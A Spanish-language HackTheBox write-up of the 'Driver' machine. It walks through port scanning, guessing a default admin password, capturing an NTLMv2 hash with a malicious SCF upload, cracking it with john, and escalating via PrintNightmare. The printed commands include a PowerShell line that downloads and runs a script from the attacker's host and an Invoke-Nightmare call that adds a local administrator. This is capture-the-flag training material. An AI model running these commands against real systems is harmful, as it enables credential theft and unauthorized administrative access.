Inicio HTB - Driver
Entrada
Cancelar

HTB - Driver

¡Hola! Vamos a resolver de la máquina Driver de dificultad “Fácil” de la plataforma HackTheBox.

Técnicas Vistas:

  • Password Guessing
  • SCF Malicious File
  • Print Spooler Local Privilege Escalation (PrintNightmare) [CVE-2021-1675]

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Driver. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.106
PING 10.10.11.106 (10.10.11.106) 56(84) bytes of data.
64 bytes from 10.10.11.106: icmp_seq=1 ttl=127 time=42.3 ms

--- 10.10.11.106 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms

Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
6
7
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.11.106 -oG allPorts

PORT     STATE SERVICE      REASON
80/tcp   open  http         syn-ack ttl 127
135/tcp  open  msrpc        syn-ack ttl 127
445/tcp  open  microsoft-ds syn-ack ttl 127
5985/tcp open  wsman        syn-ack ttl 127

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
nmap -sCV -p80,135,445,5985 10.10.11.106 -oN targeted

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
|_http-title: Site doesn t have a title (text/html; charset=UTF-8).
|_http-server-header: Microsoft-IIS/10.0
135/tcp  open  msrpc        Microsoft Windows RPC
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-12-12T16:05:35
|_  start_date: 2022-12-12T15:59:10
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m01s

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
❯ whatweb http://10.10.11.106
http://10.10.11.106 [401 Unauthorized] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.106], Microsoft-IIS[10.0], PHP[7.3.25], WWW-Authenticate[MFP Firmware Update Center. Please enter password for admin][Basic], X-Powered-By[PHP/7.3.25]

Accedemos al servicio web por el puerto 80 e inmediatamente nos sale un panel de login, aplicando un poco de guessing accedemos con las credenciales admin:admin. Estamos ante lo que parece un Centro de actualización de firmware para impresoras

Después de reconocer la web vemos que la única opción funcional de la barra de navegación es la de Firmware Updates. Al parecer tenemos capacidad de subir un archivo el cual será revisado por el equipo que gestiona el recurso

Nos viene a la mente generar un archivo SCF - Shell Command Files los cuales pueden ser usados para realizar una serie de operaciones tales como mostrar el escritorio de Windows o abrir el explorador de Windows. Sin embargo un archivo SCF puede ser usado para acceder a una determinada ruta que permite al pentester generar un ataque. una búsqueda en Google y encontramos el siguiente recurso de PentestLab

Creamos el archivo malicioso file.scf en nuestro directorio de trabajo content y con la herramienta impacket-smbserver compartimos recurso a nivel de red. En la web seleccionamos el archivo creado y ejecutamos pulsando upload. Observamos en la respuesta que hemos capturado un hash NTLMv2

1
2
3
4
5
6
7
8
9
10
11
❯ impacket-smbserver smbFolder $(pwd) -smb2support

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

.
.
.
tony::DRIVER:aaaaaaaaaaaaaaaa:79449101964ddc557dc8859e604fde18:010100000000000080b050a50e0ed901e552be6bca7aca7f00000000010010004900700063005400630071006f007800030010004900700063005400630071006f0078000200100058007600760052007100450054006a000400100058007600760052007100450054006a000700080080b050a50e0ed901060004000200000008003000300000000000000000000000002000005c6fbac9ffa8d8933ede104cad3057c5aa8d5ea14155c21f0e4459f30074ce840a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0033003400000000000000000000000000
.
.
.

Nos copiamos el hash en un archivo el cual trataremos de crackear mediante la herramienta john

1
2
3
4
5
6
7
8
9
❯ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
liltony          (tony)
1g 0:00:00:00 DONE (2022-12-12 11:04) 33.33g/s 1092Kp/s 1092Kc/s 1092KC/s !!!!!!..eatme1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

Con crackmapexec verificamos que el usuario y password son válidas

1
2
3
❯ crackmapexec smb 10.10.11.106 -u 'tony' -p 'liltony'
SMB         10.10.11.106  445    DRIVER           [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB         10.10.11.106  445    DRIVER           [+] DRIVER\tony:liltony 

Como tenemos el puerto 5985 abierto verificamos con la misma herramienta pero con el switch de winrm que tengamos acceso por este servicio

1
2
3
4
❯ crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
SMB         10.10.11.106  5985   DRIVER           [*] Windows 10.0 Build 10240 (name:DRIVER) (domain:DRIVER)
HTTP        10.10.11.106  5985   DRIVER           [*] http://10.10.11.106:5985/wsman
WINRM       10.10.11.106  5985   DRIVER           [+] DRIVER\tony:liltony (Pwn3d!)

Procedemos a conectarnos con evil-winrm al servicio de administración remota de Windows

1
2
3
4
5
6
7
8
9
10
11
12
❯ evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\tony\Documents> whoami
driver\tony

La flag la encontramos en el directorio Desktop del usuario tony

1
2
*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt
f323ea7af7e1d20f7***************

Escalada Privilegios


Tras un reconocimiento manual de los puntos básicos no encontramos nada de utilidad. Seguimos con la herramienta winPEAS para un reconocimiento más detallado. Encontramos un servicio activo spoolsv. Buscamos en Google por vulnerabilidades asociadas y encontramos el repositorio de GitHub de calebstewart. Nos clonamos el repositorio, accedemos a la carpeta creada y compartimos mediante un servidor HTTP con python. Nos lo traemos a la máquina víctima de la siguiente forma

1
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.34/CVE-2021-1675.ps1')

Lo siguiente es crear un nuevo usuario según nos indican en el repositorio descargado

1
2
3
4
5
*Evil-WinRM* PS C:\Temp\privesc> Invoke-Nightmare -DriverName "Xerox" -NewUser "yorch" -NewPassword "yorch123$!"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user yorch as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll

Confirmamos que el usuario creado está dentro del grupo Administrators

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
*Evil-WinRM* PS C:\Temp\privesc> net user yorch
User name                    yorch
Full Name                    yorch
Comment
User s comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            12/12/2022 10:17:11 AM
Password expires             Never
Password changeable          12/12/2022 10:17:11 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *None
The command completed successfully.

Mediante evil-winrm nos podemos conectar con el usuario creado

1
2
3
4
5
6
7
8
9
10
11
12
❯ evil-winrm -i 10.10.11.106 -u 'yorch' -p 'yorch123$!'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\yorch\Documents> whoami
driver\yorch

Como estamos dentro del grupo Administrators podemos acceder al directorio del usuario Administrator y leer la flag

1
2
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
daeea542b4a2e550f***************

Hemos completado la máquina Driver de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.